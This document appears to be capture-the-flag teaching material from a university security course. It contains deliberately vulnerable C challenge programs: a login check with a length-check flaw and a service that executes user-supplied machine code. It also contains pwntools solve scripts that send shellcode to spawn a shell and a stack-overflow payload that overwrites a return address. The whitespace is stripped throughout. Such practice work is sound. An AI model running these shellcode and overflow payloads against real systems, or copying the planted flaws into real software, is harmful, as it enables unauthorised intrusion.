#include<stdio.h>voidprepare(){setvbuf(stdin,0LL,2,0LL);setvbuf(stdout,0LL,2,0LL);alarm(60);}intpow(inta,intb){intc=a;if(b==0)return1;for(;b>1;b--){c=a*c;}returnc;}intmain(){inta,b,i,j;prepare();printf("Input your decimal number: ");scanf("%d",&a);printf("What do you want to turn it into: ");scanf("%d",&b);for(i=0;i<100;i++){if(a<=pow(b,i))break;}printf("Result: ");for(;i>0;i--){j=a/pow(b,i-1);printf("%d",j);a=a%(int)pow(b,i-1);}putchar('\n');return0;}
frompwnimport*fromwstubeimportwebsocketp=websocket("wss://ctf.zjusec.com/api/proxy/3a9ab06c-72fc-4fb5-bd6c-aa4906c123b6")p.recv()# 接收“Input your decimal number:”p.sendline("1010")# 发送 1010p.recv()# 接收“What do you want to turn it into:”p.sendline("0")# 发送 0p.interactive()# 来到交互界面,查看 flag
#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<stdint.h>#include<unistd.h>#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#define ADMIN_NAME "admin"#define USER_NAME "user"#define BUFFER_SIZE (32)intget_password(char*name,char*buf){unsignedintlength;printf("Hello %s, please tell me the length of your password\n",name);scanf("%d",&length);if(length>BUFFER_SIZE){printf("you password is way too long");return-1;}else{printf("cool, input your password\n");returnread(STDIN_FILENO,buf,BUFFER_SIZE);}}#define VERIFY "\x27\x85\x56\x4a\xb2\x29\xe7\xf1\xa6\xc0\xab\xd7\xd6\x82\xb8\x1b\x4c\x43\xb0\x33\x0d\xb2\xbe\xb8\x10\x7a\x73\x30\x0a\xf3\xff\x59"#define KEY "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"voidtea_decrypt_block(uint32_t*v,uint32_t*k){uint32_tv0=v[0],v1=v[1],sum=0xC6EF3720,i;/* set up */uint32_tdelta=0x9e3779b9;/* a key schedule constant */uint32_tk0=k[0],k1=k[1],k2=k[2],k3=k[3];/* cache key */for(i=0;i<32;i++){/* basic cycle start */v1-=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);v0-=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);sum-=delta;}/* end cycle */v[0]=v0;v[1]=v1;}voidtea_decrypt(char*ciphertext,intlen,char*key){if(len%8!=0)exit(1);for(inti=0;i<len;i+=8){tea_decrypt_block(ciphertext+i,key);}}voidget_user_password(char*buf){memcpy(buf,VERIFY,BUFFER_SIZE);tea_decrypt(buf,BUFFER_SIZE,KEY);}voidget_admin_password(char*buf){intfd=open("password.txt",O_RDONLY);if(fd<0){printf("something wrong\n");exit(-1);}read(fd,buf,BUFFER_SIZE);close(fd);}voidprepare(){setvbuf(stdin,0LL,2,0LL);setvbuf(stdout,0LL,2,0LL);alarm(60);}intmain(intargc,char*argv[]){charusername[BUFFER_SIZE];charpassword[BUFFER_SIZE];charpassword_verify[BUFFER_SIZE];prepare();// quite necessarymemset(username,0,BUFFER_SIZE*3);printf("Hello there, please input your username\n");read(STDIN_FILENO/* 0 */,username,BUFFER_SIZE);if(username[strlen(username)-1]=='\n')username[strlen(username)-1]=0;get_password(username,password);if(!strncmp(username,ADMIN_NAME,strlen(ADMIN_NAME))){get_admin_password(password_verify);if(!memcmp(password,password_verify,BUFFER_SIZE)){printf("password correct! launch your shell\n");system("/bin/sh");}elsegotowrong_password;}elseif(!strncmp(username,USER_NAME,strlen(USER_NAME))){get_user_password(password_verify);if(!memcmp(password,password_verify,BUFFER_SIZE)){printf("password correct! show your the first part of flag\n");printf("flag1: %s",getenv("FLAG1"));}elsegotowrong_password;}elsegotowrong_password;return0;wrong_password:printf("What's wrong with you? Are you a hacker?\n");printf("----------------- LOG -----------------\n");printf("you input name as %s (len %d)\n",username,strlen(username));printf("you input password as %s (len %d)\n",password,strlen(password));printf("---------------------------------------\n");return-1;}
#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<stdint.h>#include<unistd.h>#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#include<sys/mman.h>#include<errno.h>#define MAP_ADDR (0x14000)#define CODE_SIZE (0x100)voidprepare(){setvbuf(stdin,0LL,2,0LL);setvbuf(stdout,0LL,2,0LL);alarm(60);}intmain(intargc,charconst*argv[]){void*address;intsize=sysconf(_SC_PAGESIZE);inta,b,c;int(*funcptr)(int,int);interror=-1;prepare();a=random()&0xff;b=random()&0xff;address=mmap(MAP_ADDR,size,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);if(address==MAP_FAILED){perror("mmap");exit(-1);}funcptr=address;printf("Hello there, once you finish the delegate tasks I requested,\nI will give you your flag :)\n");printf("*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***\n");printf("-----------------------------------------------------------\n");printf("Request-1: give me code that performing ADD\n");read(STDIN_FILENO,address,CODE_SIZE);c=funcptr(a,b);if(c!=a+b){printf("you fail, try again\n");gotofail;}printf("goooooood, next one\n");printf("Request-2: give me code that performing SUB\n");read(STDIN_FILENO,address,CODE_SIZE);c=funcptr(a,b);if(c!=a-b){printf("you fail, try again\n");gotofail;}printf("goooooood, next one\n");printf("Request-3: give me code that performing AND\n");read(STDIN_FILENO,address,CODE_SIZE);c=funcptr(a,b);if(c!=(a&b)){printf("you fail, try again\n");gotofail;}printf("goooooood, next one\n");printf("Request-4: give me code that performing OR\n");read(STDIN_FILENO,address,CODE_SIZE);c=funcptr(a,b);if(c!=(a|b)){printf("you fail, try again\n");gotofail;}printf("goooooood, fianl one\n");printf("Request-5: give me code that performing XOR\n");read(STDIN_FILENO,address,CODE_SIZE);c=funcptr(a,b);if(c!=(a^b)){printf("you fail, try again\n");gotofail;}printf("Soooooooo wonderful, here is your first part of flag:\n");printf("%s",getenv("FLAG1"));error=0;fail:munmap(address,size);returnerror;}
frompwnimport*fromwstubeimportwebsocketp=websocket("wss://ctf.zjusec.com/api/proxy/f4b7c7c2-447c-4efa-9397-030c2919d789")add_code=b"\xf3\x0f\x1e\xfa\x8d\x04\x37\xc3"p.sendafter(b"Request-1: give me code that performing ADD",add_code)p.interactive()
frompwnimport*fromwstubeimportwebsocketp=websocket("wss://ctf.zjusec.com/api/proxy/f4b7c7c2-447c-4efa-9397-030c2919d789")add_code=b"\xf3\x0f\x1e\xfa\x8d\x04\x37\xc3"sub_code=b"\xf3\x0f\x1e\xfa\x89\xf8\x29\xf0\xc3"and_code=b"\xf3\x0f\x1e\xfa\x89\xf8\x21\xf0\xc3"or_code=b"\xf3\x0f\x1e\xfa\x89\xf8\x09\xf0\xc3"xor_code=b"\xf3\x0f\x1e\xfa\x89\xf8\x31\xf0\xc3"p.sendafter(b"Request-1: give me code that performing ADD",add_code)p.sendafter(b"Request-2: give me code that performing SUB",sub_code)p.sendafter(b"Request-3: give me code that performing AND",and_code)p.sendafter(b"Request-4: give me code that performing OR",or_code)p.sendafter(b"Request-5: give me code that performing XOR",xor_code)p.interactive()
frompwnimport*fromwstubeimportwebsocketcontext.arch='amd64'p=websocket("wss://ctf.zjusec.com/api/proxy/f4b7c7c2-447c-4efa-9397-030c2919d789")sc_asm=shellcraft.sh()sc=asm(sc_asm)p.sendafter(b"Request-1: give me code that performing ADD",sc)# 直接强行进入终端p.interactive()
frompwnimport*fromwstubeimportwebsocketimportrandomcontext.arch='amd64'p=websocket("wss://ctf.zjusec.com/api/proxy/9ec6f4ef-477b-458b-a3e4-1ea5ca3b52be")sc_asm=shellcraft.sh()sc=asm(sc_asm)payload=flat(b"A"*0x48,# 要使得栈溢出得在原来的基础上加 8p64(0x20000+(random.randint(0,7))*0x1000))p.sendlineafter("what's your name: ",sc)p.sendlineafter("try to overflow me~",payload)p.interactive()